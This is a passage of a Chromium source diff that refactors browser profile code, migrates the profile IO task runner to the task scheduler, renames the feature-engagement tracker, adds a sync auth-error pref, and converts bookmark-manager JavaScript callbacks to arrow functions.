-      base::MessageLoop::current(), &base::MessageLoop::QuitWhenIdle);
+  base::RunLoop run_loop;
+  quit_timer.Start(FROM_HERE,
+                   TimeDelta::FromMilliseconds(kPrinterSettingsTimeout),
+                   run_loop.QuitWhenIdleClosure());
 
   inside_inner_message_loop_ = true;
 
@@ -505,7 +506,7 @@
   {
     base::MessageLoop::ScopedNestableTaskAllower allow(
         base::MessageLoop::current());
-    base::RunLoop().Run();
+    run_loop.Run();
   }
 
   bool success = true;
diff --git a/chrome/browser/profiles/chrome_browser_main_extra_parts_profiles.cc b/chrome/browser/profiles/chrome_browser_main_extra_parts_profiles.cc
index 669dffd6..e692ce5 100644
--- a/chrome/browser/profiles/chrome_browser_main_extra_parts_profiles.cc
+++ b/chrome/browser/profiles/chrome_browser_main_extra_parts_profiles.cc
@@ -26,7 +26,7 @@
 #include "chrome/browser/engagement/site_engagement_service.h"
 #include "chrome/browser/engagement/site_engagement_service_factory.h"
 #include "chrome/browser/favicon/favicon_service_factory.h"
-#include "chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
+#include "chrome/browser/feature_engagement/tracker_factory.h"
 #include "chrome/browser/google/google_url_tracker_factory.h"
 #include "chrome/browser/history/history_service_factory.h"
 #include "chrome/browser/invalidation/profile_invalidation_provider_factory.h"
@@ -143,7 +143,7 @@
 #endif
 
 #if !defined(OS_ANDROID) && !defined(OS_CHROMEOS) && !defined(OS_MACOSX)
-#include "chrome/browser/feature_engagement_tracker/new_tab/new_tab_tracker_factory.h"
+#include "chrome/browser/feature_engagement/new_tab/new_tab_tracker_factory.h"
 #endif
 
 #if BUILDFLAG(ENABLE_SPELLCHECK)
@@ -243,7 +243,7 @@
   extensions::VerifyTrustAPI::GetFactoryInstance();
 #endif
   FaviconServiceFactory::GetInstance();
-  FeatureEngagementTrackerFactory::GetInstance();
+  feature_engagement::TrackerFactory::GetInstance();
   FindBarStateFactory::GetInstance();
   GAIAInfoUpdateServiceFactory::GetInstance();
 #if !defined(OS_ANDROID)
@@ -291,7 +291,7 @@
   NTPResourceCacheFactory::GetInstance();
 #endif
 #if !defined(OS_ANDROID) && !defined(OS_CHROMEOS) && !defined(OS_MACOSX)
-  feature_engagement_tracker::NewTabTrackerFactory::GetInstance();
+  feature_engagement::NewTabTrackerFactory::GetInstance();
 #endif
   ContentSuggestionsServiceFactory::GetInstance();
   PasswordStoreFactory::GetInstance();
diff --git a/chrome/browser/profiles/profile_avatar_downloader.cc b/chrome/browser/profiles/profile_avatar_downloader.cc
index 259c334..a2fc1d0 100644
--- a/chrome/browser/profiles/profile_avatar_downloader.cc
+++ b/chrome/browser/profiles/profile_avatar_downloader.cc
@@ -45,6 +45,7 @@
         }
         policy {
           cookies_allowed: NO
+          setting: "This feature cannot be disabled in settings."
           policy_exception_justification:
             "No content is being uploaded or saved; this request merely "
             "downloads a publicly available PNG file."
diff --git a/chrome/browser/profiles/profile_impl.cc b/chrome/browser/profiles/profile_impl.cc
index 61c0fb8..f956ff7 100644
--- a/chrome/browser/profiles/profile_impl.cc
+++ b/chrome/browser/profiles/profile_impl.cc
@@ -29,7 +29,8 @@
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/synchronization/waitable_event.h"
-#include "base/threading/sequenced_worker_pool.h"
+#include "base/task_scheduler/post_task.h"
+#include "base/task_scheduler/task_traits.h"
 #include "base/threading/thread_restrictions.h"
 #include "base/trace_event/trace_event.h"
 #include "base/version.h"
@@ -105,7 +106,6 @@
 #include "components/omnibox/browser/autocomplete_classifier.h"
 #include "components/policy/core/browser/browser_policy_connector.h"
 #include "components/pref_registry/pref_registry_syncable.h"
-#include "components/prefs/json_pref_store.h"
 #include "components/prefs/scoped_user_pref_update.h"
 #include "components/proxy_config/pref_proxy_config_tracker.h"
 #include "components/signin/core/browser/signin_manager.h"
@@ -236,26 +236,25 @@
 }
 
 // Task that blocks the FILE thread until CreateDirectoryAndSignal() finishes on
-// blocking I/O pool.
+// the IO task runner.
 void BlockFileThreadOnDirectoryCreate(base::WaitableEvent* done_creating) {
   done_creating->Wait();
 }
 
-// Initiates creation of profile directory on |sequenced_task_runner| and
-// ensures that FILE thread is blocked until that operation finishes. If
-// |create_readme| is true, the profile README will be created in the profile
-// directory.
-void CreateProfileDirectory(base::SequencedTaskRunner* sequenced_task_runner,
+// Initiates creation of profile directory on |io_task_runner| and ensures that
+// FILE thread is blocked until that operation finishes. If |create_readme| is
+// true, the profile README will be created in the profile directory.
+void CreateProfileDirectory(base::SequencedTaskRunner* io_task_runner,
                             const base::FilePath& path,
                             bool create_readme) {
   base::WaitableEvent* done_creating =
       new base::WaitableEvent(base::WaitableEvent::ResetPolicy::AUTOMATIC,
                               base::WaitableEvent::InitialState::NOT_SIGNALED);
-  sequenced_task_runner->PostTask(
+  io_task_runner->PostTask(
       FROM_HERE, base::BindOnce(&CreateDirectoryAndSignal, path, done_creating,
                                 create_readme));
-  // Block the FILE thread until directory is created on I/O pool to make sure
-  // that we don't attempt any operation until that part completes.
+  // Block the FILE thread until directory is created on I/O task runner to make
+  // sure that we don't attempt any operation until that part completes.
   BrowserThread::PostTask(BrowserThread::FILE, FROM_HERE,
                           base::BindOnce(&BlockFileThreadOnDirectoryCreate,
                                          base::Owned(done_creating)));
@@ -315,14 +314,14 @@
                path.AsUTF8Unsafe());
 
   // Get sequenced task runner for making sure that file operations of
-  // this profile (defined by |path|) are executed in expected order
-  // (what was previously assured by the FILE thread).
-  scoped_refptr<base::SequencedTaskRunner> sequenced_task_runner =
-      JsonPrefStore::GetTaskRunnerForFile(path,
-                                          BrowserThread::GetBlockingPool());
+  // this profile are executed in expected order (what was previously assured by
+  // the FILE thread).
+  scoped_refptr<base::SequencedTaskRunner> io_task_runner =
+      base::CreateSequencedTaskRunnerWithTraits(
+          {base::TaskShutdownBehavior::BLOCK_SHUTDOWN, base::MayBlock()});
   if (create_mode == CREATE_MODE_ASYNCHRONOUS) {
     DCHECK(delegate);
-    CreateProfileDirectory(sequenced_task_runner.get(), path, true);
+    CreateProfileDirectory(io_task_runner.get(), path, true);
   } else if (create_mode == CREATE_MODE_SYNCHRONOUS) {
     if (!base::PathExists(path)) {
       // TODO(rogerta): http://crbug/160553 - Bad things happen if we can't
@@ -337,8 +336,7 @@
     NOTREACHED();
   }
 
-  return new ProfileImpl(
-      path, delegate, create_mode, sequenced_task_runner.get());
+  return new ProfileImpl(path, delegate, create_mode, io_task_runner);
 }
 
 // static
@@ -421,17 +419,19 @@
   registry->RegisterIntegerPref(prefs::kMediaCacheSize, 0);
 }
 
-ProfileImpl::ProfileImpl(const base::FilePath& path,
-                         Delegate* delegate,
-                         CreateMode create_mode,
-                         base::SequencedTaskRunner* sequenced_task_runner)
+ProfileImpl::ProfileImpl(
+    const base::FilePath& path,
+    Delegate* delegate,
+    CreateMode create_mode,
+    scoped_refptr<base::SequencedTaskRunner> io_task_runner)
     : path_(path),
+      io_task_runner_(std::move(io_task_runner)),
       pref_registry_(new user_prefs::PrefRegistrySyncable),
       io_data_(this),
       last_session_exit_type_(EXIT_NORMAL),
       start_time_(Time::Now()),
       delegate_(delegate),
-      predictor_(NULL) {
+      predictor_(nullptr) {
   TRACE_EVENT0("browser,startup", "ProfileImpl::ctor")
   DCHECK(!path.empty()) << "Using an empty path will attempt to write " <<
                             "profile files to the root directory!";
@@ -478,13 +478,13 @@
     chromeos::DeviceSettingsService::Get()->LoadImmediately();
   configuration_policy_provider_ =
       policy::UserPolicyManagerFactoryChromeOS::CreateForProfile(
-          this, force_immediate_policy_load, sequenced_task_runner);
+          this, force_immediate_policy_load, io_task_runner_);
   chromeos::AuthPolicyCredentialsManagerFactory::
       BuildForProfileIfActiveDirectory(this);
 #else
   configuration_policy_provider_ =
       policy::UserCloudPolicyManagerFactory::CreateForOriginalBrowserContext(
-          this, force_immediate_policy_load, sequenced_task_runner,
+          this, force_immediate_policy_load, io_task_runner_,
           BrowserThread::GetTaskRunnerForThread(BrowserThread::FILE),
           BrowserThread::GetTaskRunnerForThread(BrowserThread::IO));
 #endif
@@ -510,8 +510,8 @@
 #if BUILDFLAG(ENABLE_SUPERVISED_USERS)
   supervised_user_settings =
       SupervisedUserSettingsServiceFactory::GetForProfile(this);
-  supervised_user_settings->Init(
-      path_, sequenced_task_runner, create_mode == CREATE_MODE_SYNCHRONOUS);
+  supervised_user_settings->Init(path_, io_task_runner_.get(),
+                                 create_mode == CREATE_MODE_SYNCHRONOUS);
 #endif
 
   scoped_refptr<safe_browsing::SafeBrowsingService> safe_browsing_service(
@@ -602,10 +602,7 @@
   // to PathService.
   chrome::GetUserCacheDirectory(path_, &base_cache_path_);
   // Always create the cache directory asynchronously.
-  scoped_refptr<base::SequencedTaskRunner> sequenced_task_runner =
-      JsonPrefStore::GetTaskRunnerForFile(base_cache_path_,
-                                          BrowserThread::GetBlockingPool());
-  CreateProfileDirectory(sequenced_task_runner.get(), base_cache_path_, false);
+  CreateProfileDirectory(io_task_runner_.get(), base_cache_path_, false);
 
   // Initialize components that depend on the current value.
   UpdateSupervisedUserIdInStorage();
@@ -816,8 +813,7 @@
 }
 
 scoped_refptr<base::SequencedTaskRunner> ProfileImpl::GetIOTaskRunner() {
-  return JsonPrefStore::GetTaskRunnerForFile(
-      GetPath(), BrowserThread::GetBlockingPool());
+  return io_task_runner_;
 }
 
 bool ProfileImpl::IsOffTheRecord() const {
diff --git a/chrome/browser/profiles/profile_impl.h b/chrome/browser/profiles/profile_impl.h
index 0b5e691..b5ce3acf 100644
--- a/chrome/browser/profiles/profile_impl.h
+++ b/chrome/browser/profiles/profile_impl.h
@@ -170,7 +170,7 @@
   ProfileImpl(const base::FilePath& path,
               Delegate* delegate,
               CreateMode create_mode,
-              base::SequencedTaskRunner* sequenced_task_runner);
+              scoped_refptr<base::SequencedTaskRunner> io_task_runner);
 
   // Does final initialization. Should be called after prefs were loaded.
   void DoFinalInit();
@@ -211,6 +211,9 @@
   base::FilePath path_;
   base::FilePath base_cache_path_;
 
+  // Task runner used for file access in the profile path.
+  scoped_refptr<base::SequencedTaskRunner> io_task_runner_;
+
   // !!! BIG HONKING WARNING !!!
   //  The order of the members below is important. Do not change it unless
   //  you know what you're doing. Also, if adding a new member here make sure
diff --git a/chrome/browser/profiles/profile_impl_io_data.cc b/chrome/browser/profiles/profile_impl_io_data.cc
index ed2963a..b5d3d6f 100644
--- a/chrome/browser/profiles/profile_impl_io_data.cc
+++ b/chrome/browser/profiles/profile_impl_io_data.cc
@@ -536,8 +536,6 @@
   cache_params.path = lazy_params_->cache_path;
   cache_params.max_size = lazy_params_->cache_max_size;
   builder->EnableHttpCache(cache_params);
-  builder->SetCacheThreadTaskRunner(
-      BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE));
 
   AddProtocolHandlersToBuilder(builder, protocol_handlers);
 
@@ -622,8 +620,7 @@
   } else {
     app_backend.reset(new net::HttpCache::DefaultBackend(
         net::DISK_CACHE, ChooseCacheBackendType(), cache_path,
-        app_cache_max_size_,
-        BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE)));
+        app_cache_max_size_));
   }
 
   std::unique_ptr<net::CookieStore> cookie_store;
@@ -730,10 +727,9 @@
 
   // Use a separate HTTP disk cache for isolated apps.
   std::unique_ptr<net::HttpCache::BackendFactory> media_backend(
-      new net::HttpCache::DefaultBackend(
-          net::MEDIA_CACHE, ChooseCacheBackendType(), cache_path,
-          cache_max_size,
-          BrowserThread::GetTaskRunnerForThread(BrowserThread::CACHE)));
+      new net::HttpCache::DefaultBackend(net::MEDIA_CACHE,
+                                         ChooseCacheBackendType(), cache_path,
+                                         cache_max_size));
   std::unique_ptr<net::HttpCache> media_http_cache = CreateHttpFactory(
       main_request_context()->http_transaction_factory(),
       std::move(media_backend));
diff --git a/chrome/browser/profiles/profile_io_data.cc b/chrome/browser/profiles/profile_io_data.cc
index d8ee439..270c52d 100644
--- a/chrome/browser/profiles/profile_io_data.cc
+++ b/chrome/browser/profiles/profile_io_data.cc
@@ -244,6 +244,13 @@
 };
 #endif  // BUILDFLAG(DEBUG_DEVTOOLS)
 
+std::unique_ptr<net::HttpTransactionFactory> CreateDevToolsTransactionFactory(
+    DevToolsNetworkController* devtools_network_controller,
+    net::HttpNetworkSession* session) {
+  return base::WrapUnique(new DevToolsNetworkTransactionFactory(
+      devtools_network_controller, session));
+}
+
 #if defined(OS_CHROMEOS)
 // The following four functions are responsible for initializing NSS for each
 // profile on ChromeOS, which has a separate NSS database and TPM slot
@@ -500,6 +507,8 @@
     sync_first_setup_complete_.Init(syncer::prefs::kSyncFirstSetupComplete,
                                     pref_service);
     sync_first_setup_complete_.MoveToThread(io_task_runner);
+    sync_has_auth_error_.Init(syncer::prefs::kSyncHasAuthError, pref_service);
+    sync_has_auth_error_.MoveToThread(io_task_runner);
   }
 
   network_prediction_options_.Init(prefs::kNetworkPredictionOptions,
@@ -906,6 +915,10 @@
          !sync_suppress_start_.GetValue();
 }
 
+bool ProfileIOData::SyncHasAuthError() const {
+  return sync_has_auth_error_.GetValue();
+}
+
 bool ProfileIOData::IsOffTheRecord() const {
   return profile_type() == Profile::INCOGNITO_PROFILE
       || profile_type() == Profile::GUEST_PROFILE;
@@ -1160,6 +1173,10 @@
   InitializeInternal(builder.get(), profile_params_.get(), protocol_handlers,
                      std::move(request_interceptors));
 
+  builder->SetCreateHttpTransactionFactoryCallback(
+      base::BindOnce(&CreateDevToolsTransactionFactory,
+                     network_controller_handle_.GetController()));
+
   main_network_context_ =
       io_thread_globals->network_service->CreateNetworkContextWithBuilder(
           std::move(profile_params_->main_network_context_request),
@@ -1369,6 +1386,7 @@
   google_services_user_account_id_.Destroy();
   sync_suppress_start_.Destroy();
   sync_first_setup_complete_.Destroy();
+  sync_has_auth_error_.Destroy();
   enable_referrers_.Destroy();
   enable_do_not_track_.Destroy();
   force_google_safesearch_.Destroy();
diff --git a/chrome/browser/profiles/profile_io_data.h b/chrome/browser/profiles/profile_io_data.h
index f84f8aa6..05f5dcaa 100644
--- a/chrome/browser/profiles/profile_io_data.h
+++ b/chrome/browser/profiles/profile_io_data.h
@@ -172,8 +172,9 @@
     return &google_services_user_account_id_;
   }
 
-  // Returns whether Sync is enabled, for Dice account consistency.
+  // Gets Sync state, for Dice account consistency.
   bool IsSyncEnabled() const;
+  bool SyncHasAuthError() const;
 
   net::URLRequestContext* extensions_request_context() const {
     return extensions_request_context_.get();
@@ -545,6 +546,7 @@
       client_cert_store_factory_;
 
   mutable StringPrefMember google_services_user_account_id_;
+  mutable BooleanPrefMember sync_has_auth_error_;
   mutable BooleanPrefMember sync_suppress_start_;
   mutable BooleanPrefMember sync_first_setup_complete_;
 
diff --git a/chrome/browser/profiles/profile_list_desktop_browsertest.cc b/chrome/browser/profiles/profile_list_desktop_browsertest.cc
index b4db78a..8a1bb9e 100644
--- a/chrome/browser/profiles/profile_list_desktop_browsertest.cc
+++ b/chrome/browser/profiles/profile_list_desktop_browsertest.cc
@@ -7,6 +7,7 @@
 #include "base/command_line.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "build/build_config.h"
 #include "chrome/browser/chrome_notification_types.h"
 #include "chrome/browser/profiles/avatar_menu.h"
@@ -30,7 +31,7 @@
 void OnUnblockOnProfileCreation(Profile* profile,
                                 Profile::CreateStatus status) {
   if (status == Profile::CREATE_STATUS_INITIALIZED)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/chrome/browser/profiles/profile_manager_browsertest.cc b/chrome/browser/profiles/profile_manager_browsertest.cc
index f958fca8..c6e966a 100644
--- a/chrome/browser/profiles/profile_manager_browsertest.cc
+++ b/chrome/browser/profiles/profile_manager_browsertest.cc
@@ -10,6 +10,7 @@
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/stl_util.h"
 #include "base/strings/utf_string_conversions.h"
 #include "build/build_config.h"
@@ -63,7 +64,7 @@
   EXPECT_EQ(chrome::GetBrowserCount(profile), 0U);
   EXPECT_EQ(chrome::GetTotalBrowserCount(), 1U);
   if (status == Profile::CREATE_STATUS_INITIALIZED)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // An observer that returns back to test code after one or more profiles was
diff --git a/chrome/browser/profiles/profile_window_browsertest.cc b/chrome/browser/profiles/profile_window_browsertest.cc
index 31ecb86..f232af7 100644
--- a/chrome/browser/profiles/profile_window_browsertest.cc
+++ b/chrome/browser/profiles/profile_window_browsertest.cc
@@ -66,7 +66,7 @@
   }
 
   void DoneRunOnMainThread() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/resource_coordinator/resource_coordinator_render_process_probe_browsertest.cc b/chrome/browser/resource_coordinator/resource_coordinator_render_process_probe_browsertest.cc
index 25df4df..7cd85475 100644
--- a/chrome/browser/resource_coordinator/resource_coordinator_render_process_probe_browsertest.cc
+++ b/chrome/browser/resource_coordinator/resource_coordinator_render_process_probe_browsertest.cc
@@ -30,7 +30,7 @@
 
   bool HandleMetrics(
       const RenderProcessInfoMap& render_process_info_map) override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
     return false;
   }
 
diff --git a/chrome/browser/resources/chromeos/first_run/help_step.html b/chrome/browser/resources/chromeos/first_run/help_step.html
index 0a9c513..5242c8b 100644
--- a/chrome/browser/resources/chromeos/first_run/help_step.html
+++ b/chrome/browser/resources/chromeos/first_run/help_step.html
@@ -1,8 +1,7 @@
 <div id="help" class="step bubble transparent hidden">
   <div id="completion-image"></div>
   <h1 i18n-content="helpHeader"></h1>
-  <p i18n-content="helpText1"></p>
-  <p i18n-content="helpText2"></p>
+  <p i18n-content="helpText"></p>
   <div class="controls">
     <button i18n-content="helpKeepExploringButton"
         class="help-button custom-appearance blue-button"></button>
diff --git a/chrome/browser/resources/md_bookmarks/app.js b/chrome/browser/resources/md_bookmarks/app.js
index 24b2f1b..ca3ca57a 100644
--- a/chrome/browser/resources/md_bookmarks/app.js
+++ b/chrome/browser/resources/md_bookmarks/app.js
@@ -43,7 +43,7 @@
       return store.closedFolders;
     });
 
-    chrome.bookmarks.getTree(function(results) {
+    chrome.bookmarks.getTree((results) => {
       var nodeMap = bookmarks.util.normalizeNodes(results[0]);
       var initialState = bookmarks.util.createEmptyState();
       initialState.nodes = nodeMap;
@@ -64,7 +64,7 @@
             Math.floor(window.performance.now()));
       });
 
-    }.bind(this));
+    });
 
     this.boundUpdateSidebarWidth_ = this.updateSidebarWidth_.bind(this);
 
@@ -96,11 +96,11 @@
     this.sidebarWidth_ =
         /** @type {string} */ (getComputedStyle(splitterTarget).width);
 
-    splitter.addEventListener('resize', function(e) {
+    splitter.addEventListener('resize', (e) => {
       window.localStorage[LOCAL_STORAGE_TREE_WIDTH_KEY] =
           splitterTarget.style.width;
       this.updateSidebarWidth_();
-    }.bind(this));
+    });
 
     splitter.addEventListener('dragmove', this.boundUpdateSidebarWidth_);
     window.addEventListener('resize', this.boundUpdateSidebarWidth_);
@@ -117,7 +117,7 @@
     if (!this.searchTerm_)
       return;
 
-    chrome.bookmarks.search(this.searchTerm_, function(results) {
+    chrome.bookmarks.search(this.searchTerm_, (results) => {
       var ids = results.map(function(node) {
         return node.id;
       });
@@ -127,7 +127,7 @@
             loadTimeData.getStringF('searchResults', this.searchTerm_) :
             loadTimeData.getString('noSearchResults')
       });
-    }.bind(this));
+    });
   },
 
   /** @private */
diff --git a/chrome/browser/resources/md_bookmarks/command_manager.js b/chrome/browser/resources/md_bookmarks/command_manager.js
index 0b7502c..491461e 100644
--- a/chrome/browser/resources/md_bookmarks/command_manager.js
+++ b/chrome/browser/resources/md_bookmarks/command_manager.js
@@ -66,9 +66,9 @@
       document.addEventListener('open-item-menu', this.boundOnOpenItemMenu_);
 
       /** @private {function()} */
-      this.boundOnCommandUndo_ = function() {
+      this.boundOnCommandUndo_ = () => {
         this.handle(Command.UNDO, new Set());
-      }.bind(this);
+      };
       document.addEventListener('command-undo', this.boundOnCommandUndo_);
 
       /** @private {function(!Event)} */
@@ -268,7 +268,7 @@
         case Command.COPY_URL:
         case Command.COPY:
           var idList = Array.from(itemIds);
-          chrome.bookmarkManagerPrivate.copy(idList, function() {
+          chrome.bookmarkManagerPrivate.copy(idList, () => {
             var labelPromise;
             if (command == Command.COPY_URL) {
               labelPromise =
@@ -283,7 +283,7 @@
 
             this.showTitleToast_(
                 labelPromise, state.nodes[idList[0]].title, false);
-          }.bind(this));
+          });
           break;
         case Command.SHOW_IN_FOLDER:
           var id = Array.from(itemIds)[0];
@@ -303,9 +303,9 @@
                 'getPluralString', 'toastItemsDeleted', idList.length);
           }
 
-          chrome.bookmarkManagerPrivate.removeTrees(idList, function() {
+          chrome.bookmarkManagerPrivate.removeTrees(idList, () => {
             this.showTitleToast_(labelPromise, title, true);
-          }.bind(this));
+          });
           break;
         case Command.UNDO:
           chrome.bookmarkManagerPrivate.undo();
@@ -587,9 +587,8 @@
       if (!this.menuIds_)
         return;
 
-      this.hasAnySublabel_ = this.menuCommands_.some(function(command) {
-        return this.getCommandSublabel_(command) != '';
-      }.bind(this));
+      this.hasAnySublabel_ = this.menuCommands_.some(
+          (command) => this.getCommandSublabel_(command) != '');
     },
 
     /**
diff --git a/chrome/browser/resources/md_bookmarks/dialog_focus_manager.js b/chrome/browser/resources/md_bookmarks/dialog_focus_manager.js
index 98c0fd3..059ce047 100644
--- a/chrome/browser/resources/md_bookmarks/dialog_focus_manager.js
+++ b/chrome/browser/resources/md_bookmarks/dialog_focus_manager.js
@@ -74,7 +74,7 @@
      * @private
      */
     getCloseListener_: function(dialog) {
-      var closeListener = function(e) {
+      var closeListener = (e) => {
         // If the dialog is open, then it got reshown immediately and we
         // shouldn't clear it until it is closed again.
         if (dialog.open)
@@ -86,7 +86,7 @@
           this.previousFocusElement_.focus();
 
         dialog.removeEventListener('close', closeListener);
-      }.bind(this);
+      };
 
       return closeListener;
     },
diff --git a/chrome/browser/resources/md_bookmarks/dnd_manager.js b/chrome/browser/resources/md_bookmarks/dnd_manager.js
index cbe61a6..5415ef4 100644
--- a/chrome/browser/resources/md_bookmarks/dnd_manager.js
+++ b/chrome/browser/resources/md_bookmarks/dnd_manager.js
@@ -283,10 +283,9 @@
       // The use of a timeout is in order to reduce flickering as we move
       // between valid drop targets.
       this.timerProxy.clearTimeout(this.removeDropIndicatorTimeoutId_);
-      this.removeDropIndicatorTimeoutId_ =
-          this.timerProxy.setTimeout(function() {
-            this.removeDropIndicatorStyle();
-          }.bind(this), 100);
+      this.removeDropIndicatorTimeoutId_ = this.timerProxy.setTimeout(() => {
+        this.removeDropIndicatorStyle();
+      }, 100);
     },
   };
 
@@ -586,11 +585,11 @@
       // Defer the clearing of the data so that the bookmark manager API's drop
       // event doesn't clear the drop data before the web drop event has a
       // chance to execute (on Mac).
-      this.timerProxy_.setTimeout(function() {
+      this.timerProxy_.setTimeout(() => {
         this.dragInfo_.clearDragData();
         this.dropDestination_ = null;
         this.dropIndicator_.finish();
-      }.bind(this), 0);
+      }, 0);
     },
 
     /**
diff --git a/chrome/browser/resources/md_bookmarks/folder_node.js b/chrome/browser/resources/md_bookmarks/folder_node.js
index df6ac01..2f7f51a 100644
--- a/chrome/browser/resources/md_bookmarks/folder_node.js
+++ b/chrome/browser/resources/md_bookmarks/folder_node.js
@@ -57,12 +57,8 @@
 
   /** @override */
   attached: function() {
-    this.watch('item_', function(state) {
-      return state.nodes[this.itemId];
-    }.bind(this));
-    this.watch('isClosed_', function(state) {
-      return state.closedFolders.has(this.itemId);
-    }.bind(this));
+    this.watch('item_', (state) => state.nodes[this.itemId]);
+    this.watch('isClosed_', (state) => state.closedFolders.has(this.itemId));
     this.watch('selectedFolder_', function(state) {
       return state.selectedFolder;
     });
diff --git a/chrome/browser/resources/md_bookmarks/item.js b/chrome/browser/resources/md_bookmarks/item.js
index 99e210f..a1cc8af 100644
--- a/chrome/browser/resources/md_bookmarks/item.js
+++ b/chrome/browser/resources/md_bookmarks/item.js
@@ -49,12 +49,9 @@
 
   /** @override */
   attached: function() {
-    this.watch('item_', function(store) {
-      return store.nodes[this.itemId];
-    }.bind(this));
-    this.watch('isSelectedItem_', function(store) {
-      return !!store.selection.items.has(this.itemId);
-    }.bind(this));
+    this.watch('item_', (store) => store.nodes[this.itemId]);
+    this.watch(
+        'isSelectedItem_', (store) => !!store.selection.items.has(this.itemId));
 
     this.updateFromStore();
   },
diff --git a/chrome/browser/resources/md_bookmarks/list.js b/chrome/browser/resources/md_bookmarks/list.js
index 0b14ed4..eb3d8fd 100644
--- a/chrome/browser/resources/md_bookmarks/list.js
+++ b/chrome/browser/resources/md_bookmarks/list.js
@@ -89,7 +89,7 @@
       var splices = Polymer.ArraySplice.calculateSplices(
           /** @type {!Array<string>} */ (newValue),
           /** @type {!Array<string>} */ (oldValue));
-      splices.forEach(function(splice) {
+      splices.forEach((splice) => {
         // TODO(calamity): Could use notifySplices to improve performance here.
         var additions =
             newValue.slice(splice.index, splice.index + splice.addedCount)
@@ -99,7 +99,7 @@
         this.splice.apply(this, [
           'displayedList_', splice.index, splice.removed.length
         ].concat(additions));
-      }.bind(this));
+      });
     }
   },
 
diff --git a/chrome/browser/resources/md_bookmarks/router.js b/chrome/browser/resources/md_bookmarks/router.js
index 431331e..89267f9e 100644
--- a/chrome/browser/resources/md_bookmarks/router.js
+++ b/chrome/browser/resources/md_bookmarks/router.js
@@ -63,10 +63,10 @@
       this.selectedId_ = selectedId;
       // Need to dispatch a deferred action so that during page load
       // `this.getState()` will only evaluate after the Store is initialized.
-      this.dispatchAsync(function(dispatch) {
+      this.dispatchAsync((dispatch) => {
         dispatch(
             bookmarks.actions.selectFolder(selectedId, this.getState().nodes));
-      }.bind(this));
+      });
     }
   },
 
diff --git a/chrome/browser/resources/md_bookmarks/store.js b/chrome/browser/resources/md_bookmarks/store.js
index 7cbf93d8..0b679e2 100644
--- a/chrome/browser/resources/md_bookmarks/store.js
+++ b/chrome/browser/resources/md_bookmarks/store.js
@@ -30,9 +30,9 @@
     init: function(initialState) {
       this.data_ = initialState;
 
-      this.queuedActions_.forEach(function(action) {
+      this.queuedActions_.forEach((action) => {
         this.dispatchInternal_(action);
-      }.bind(this));
+      });
 
       this.initialized_ = true;
       this.notifyObservers_(this.data_);
diff --git a/chrome/browser/resources/md_bookmarks/store_client.js b/chrome/browser/resources/md_bookmarks/store_client.js
index 40b751a..14d5590 100644
--- a/chrome/browser/resources/md_bookmarks/store_client.js
+++ b/chrome/browser/resources/md_bookmarks/store_client.js
@@ -79,7 +79,7 @@
 
     /** @param {string} newState */
     onStateChanged: function(newState) {
-      this.watches_.forEach(function(watch) {
+      this.watches_.forEach((watch) => {
         var oldValue = this[watch.localProperty];
         var newValue = watch.valueGetter(newState);
 
@@ -90,7 +90,7 @@
           return;
 
         this[watch.localProperty] = newValue;
-      }.bind(this));
+      });
     },
 
     updateFromStore: function() {
diff --git a/chrome/browser/resources/md_bookmarks/toast_manager.js b/chrome/browser/resources/md_bookmarks/toast_manager.js
index 3692b5f..d2da7a5 100644
--- a/chrome/browser/resources/md_bookmarks/toast_manager.js
+++ b/chrome/browser/resources/md_bookmarks/toast_manager.js
@@ -94,10 +94,10 @@
       if (this.hideTimeoutId_ != null)
         this.timerProxy_.clearTimeout(this.hideTimeoutId_);
 
-      this.hideTimeoutId_ = this.timerProxy_.setTimeout(function() {
+      this.hideTimeoutId_ = this.timerProxy_.setTimeout(() => {
         this.hide();
         this.hideTimeoutId_ = null;
-      }.bind(this), this.duration);
+      }, this.duration);
     },
 
     hide: function() {
diff --git a/chrome/browser/resources/md_extensions/animation_helper.html b/chrome/browser/resources/md_extensions/animation_helper.html
index 0fd0053..f03c2229 100644
--- a/chrome/browser/resources/md_extensions/animation_helper.html
+++ b/chrome/browser/resources/md_extensions/animation_helper.html
@@ -1,6 +1,7 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/html/assert.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/animations/hero-animation.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/animations/fade-in-animation.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/neon-animation/animations/fade-out-animation.html">
diff --git a/chrome/browser/resources/md_extensions/code_section.html b/chrome/browser/resources/md_extensions/code_section.html
index c8056e3..dff22ca 100644
--- a/chrome/browser/resources/md_extensions/code_section.html
+++ b/chrome/browser/resources/md_extensions/code_section.html
@@ -1,6 +1,7 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
 <link rel="import" href="chrome://resources/html/cr.html">
-<link rel="import" href="chrome://resources/html/polymer.html">
 <link rel="import" href="chrome://resources/polymer/v1_0/paper-styles/color.html">
 
 <dom-module id="extensions-code-section">
diff --git a/chrome/browser/resources/md_extensions/drop_overlay.html b/chrome/browser/resources/md_extensions/drop_overlay.html
index ea2646c..5e22a03 100644
--- a/chrome/browser/resources/md_extensions/drop_overlay.html
+++ b/chrome/browser/resources/md_extensions/drop_overlay.html
@@ -1,8 +1,9 @@
+<link rel="import" href="chrome://resources/html/polymer.html">
+
 <link rel="import" href="chrome://resources/cr_elements/hidden_style_css.html">
